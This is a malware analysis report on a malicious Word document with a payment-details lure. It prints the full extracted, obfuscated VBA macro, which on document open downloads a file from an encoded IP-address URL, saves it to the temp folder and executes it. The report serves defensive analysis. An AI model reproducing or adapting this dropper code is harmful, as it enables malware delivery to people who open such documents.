Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fb2fb46d8917bda5…

MALICIOUS

Office (OLE)

76.0 KB Created: 2018-09-02 08:36:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: f9f49b62ebc801ad22e7659a100d9e00 SHA-1: 8af97413a229d2ab1f4b2824be354e65cd29f4de SHA-256: fb2fb46d8917bda5ff0721ddd4ca2bca595e3056dcf7b83c7418b6d7fe26926b
258 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros, including a Document_Open macro that uses CreateObject to download a file via HTTP and save it to disk. This is a common downloader pattern. The document body presents a "PAYMENT DETAILS" lure, instructing the user to "Enable content" to view the document, which is a typical social engineering tactic to bypass macro security. The ClamAV detection also confirms its malicious nature as a downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    ¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡·¸®¡¡¶»¸¥´¿¤¸µ¢¯©¨©¦¿»¿³»º«©§¬³»·£®«°®ª£´¯§¯¹¦··¨¼¨¾¯°¯¨«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶ = «¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set «¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸ = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼§©µ = Environ("tmp") + ¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ´¦¿»¿³»º«©§¬³»·£®«("\àäH¶R§Øàä.ÂÛÂ")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8763 bytes
SHA-256: eff0b5bc02fb6537d6eb01a262d25067932209c48dabe1f469966d1f1886ba89
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Public Function ¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ´¦¿»¿³»º«©§¬³»·£®«(°®ª£´¯§¯¹¦··¨¼¨¾¯°¯¨«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½)
        ¥²µ³¹««²³¸¨»£·¥¡º¿¹£¦¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        ´¶£§£¿¨¨²´¶°¿§«º¡°½¡²º¯¢¶¢ª·«¬µ¦´¤¢½¢µ²¼º§¶ª¯½ª¡¹©¾«³¡®¬·¬©¤ª¸½¾½¯¡³·¦³²»½¿º¦³¢«¹»¨ = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(°®ª£´¯§¯¹¦··¨¼¨¾¯°¯¨«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½)
            ¹¼«®¸¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼ = InStr(¥²µ³¹««²³¸¨»£·¥¡º¿¹£¦¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ, Mid(°®ª£´¯§¯¹¦··¨¼¨¾¯°¯¨«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½, i, 1))
            If ¹¼«®¸¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼ > 0 Then
                §©µ¥²µ³¹««²³¸¨»£·¥¡º¿¹£¦¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ´¶£§£¿¨ = Mid(´¶£§£¿¨¨²´¶°¿§«º¡°½¡²º¯¢¶¢ª·«¬µ¦´¤¢½¢µ²¼º§¶ª¯½ª¡¹©¾«³¡®¬·¬©¤ª¸½¾½¯¡³·¦³²»½¿º¦³¢«¹»¨, ¹¼«®¸¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼, 1)
                ¨²´¶°¿§«º¡°½¡²º¯¢¶¢ª·«¬µ¦´¤¢½¢µ²¼º§¶ª¯½ª¡¹©¾«³¡®¬·¬©¤ª¸½¾½¯¡³·¦³²»½¿º¦³¢«¹»¨¹¼«®¸¿¡°¯ª = ¨²´¶°¿§«º¡°½¡²º¯¢¶¢ª·«¬µ¦´¤¢½¢µ²¼º§¶ª¯½ª¡¹©¾«³¡®¬·¬©¤ª¸½¾½¯¡³·¦³²»½¿º¦³¢«¹»¨¹¼«®¸¿¡°¯ª + §©µ¥²µ³¹««²³¸¨»£·¥¡º¿¹£¦¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ´¶£§£¿¨
            Else
                ¨²´¶°¿§«º¡°½¡²º¯¢¶¢ª·«¬µ¦´¤¢½¢µ²¼º§¶ª¯½ª¡¹©¾«³¡®¬·¬©¤ª¸½¾½¯¡³·¦³²»½¿º¦³¢«¹»¨¹¼«®¸¿¡°¯ª = ¨²´¶°¿§«º¡°½¡²º¯¢¶¢ª·«¬µ¦´¤¢½¢µ²¼º§¶ª¯½ª¡¹©¾«³¡®¬·¬©¤ª¸½¾½¯¡³·¦³²»½¿º¦³¢«¹»¨¹¼«®¸¿¡°¯ª + Mid(°®ª£´¯§¯¹¦··¨¼¨¾¯°¯¨«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½, i, 1)
            End If
        Next
        ¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ´¦¿»¿³»º«©§¬³»·£®« = ¨²´¶°¿§«º¡°½¡²º¯¢¶¢ª·«¬µ¦´¤¢½¢µ²¼º§¶ª¯½ª¡¹©¾«³¡®¬·¬©¤ª¸½¾½¯¡³·¦³²»½¿º¦³¢«¹»¨¹¼«®¸¿¡°¯ª
    End Function

Private Sub Document_Open()
Dim «¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸
Set «¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸ = CreateObject("microsoft.xmlhttp")
Dim ¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼§©µ
Dim ¶¤¯®¢¿¬¤²¾¨¾·¨µµªºª¼¾¡¾©®£¤¹¨¶²¡¶¯¦·¡µ«¯³´¨´¸¼¶¦¡¡¢²¿«§»¬¬¤¡°¥º«¿¶¥¤¹¦£¶´§²¯¯²·¾
Set ¶¤¯®¢¿¬¤²¾¨¾·¨µµªºª¼¾¡¾©®£¤¹¨¶²¡¶¯¦·¡µ«¯³´¨´¸¼¶¦¡¡¢²¿«§»¬¬¤¡°¥º«¿¶¥¤¹¦£¶´§²¯¯²·¾ = CreateObject("Shell.Application")

¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼§©µ = Environ("tmp") + ¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ´¦¿»¿³»º«©§¬³»·£®«("\àäH¶R§Øàä.ÂÛÂ")
«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸.Open "GET", ¦§¤¬¾¬¶©½¨¦¥©¶¨º°¢©´£¨°·¤¤«»¤º®¥¾¦¯«´¤¥¨³°¾¤»¾¼¬ª¢»¼®§ª·¯£¹ª¯»¢´µ´¦¿»¿³»º«©§¬³»·£®«("hÖÖÓ://²00.6³.45.105/ÖhÂmÂÕ/ÂÔÖ.ÂÛÂ"), False
«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸.send
¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡·¸®¡¡¶»¸¥´¿¤¸µ¢¯©¨©¦¿»¿³»º«©§¬³»·£®«°®ª£´¯§¯¹¦··¨¼¨¾¯°¯¨«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶ = «¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸.responseBody
If «¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶¹¾¸¤²²°´®©¥½ª«¢°³£¼©®¸£¢º¤¡¸¶¥´¬¬´¹¯²½²¿¥»¥³¢¹¡½´º½»®£¶º»¯°£¾¿´¸.Status = 200 Then
Set £½¬¥¼§»¦µ¼µ´°»¹¨½«¨ª¤··«ª¤º¢¯¦½®¢³¤¿¼½¼¾¶²¶§¹°º¼¾¹§º£¬¯º©¯º¬¦¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡ = CreateObject("adodb.stream")
£½¬¥¼§»¦µ¼µ´°»¹¨½«¨ª¤··«ª¤º¢¯¦½®¢³¤¿¼½¼¾¶²¶§¹°º¼¾¹§º£¬¯º©¯º¬¦¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡.Open
£½¬¥¼§»¦µ¼µ´°»¹¨½«¨ª¤··«ª¤º¢¯¦½®¢³¤¿¼½¼¾¶²¶§¹°º¼¾¹§º£¬¯º©¯º¬¦¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡.Type = 1
£½¬¥¼§»¦µ¼µ´°»¹¨½«¨ª¤··«ª¤º¢¯¦½®¢³¤¿¼½¼¾¶²¶§¹°º¼¾¹§º£¬¯º©¯º¬¦¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡.Write ¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡·¸®¡¡¶»¸¥´¿¤¸µ¢¯©¨©¦¿»¿³»º«©§¬³»·£®«°®ª£´¯§¯¹¦··¨¼¨¾¯°¯¨«¡¢»§¸´²¸¬¤¹²·ª®µ¶¦¶
£½¬¥¼§»¦µ¼µ´°»¹¨½«¨ª¤··«ª¤º¢¯¦½®¢³¤¿¼½¼¾¶²¶§¹°º¼¾¹§º£¬¯º©¯º¬¦¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡.SaveToFile ¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼§©µ, 2
£½¬¥¼§»¦µ¼µ´°»¹¨½«¨ª¤··«ª¤º¢¯¦½®¢³¤¿¼½¼¾¶²¶§¹°º¼¾¹§º£¬¯º©¯º¬¦¾¾·¢¿£µ½³¼µ·©¿½ºª¬²¾¢²¡.Close
End If
¶¤¯®¢¿¬¤²¾¨¾·¨µµªºª¼¾¡¾©®£¤¹¨¶²¡¶¯¦·¡µ«¯³´¨´¸¼¶¦¡¡¢²¿«§»¬¬¤¡°¥º«¿¶¥¤¹¦£¶´§²¯¯²·¾.Open (¿¡°¯ª¢¾¥¾£¸¨¸¾»©¼¥¿©¥§¡º¬¨§¢¼¹¤£¯ª°¶¡¬¿¿¾®¹½®¤¼»ª¿¯¼¥½°¡«¼¦¬½©£®®ºº¥°¸§µ§·®¦®¯¼§©µ)


End Sub

Attribute VB_Name = "NewMacros"
Sub bigclass()
'
' bigclass Macro
'
'

End Sub

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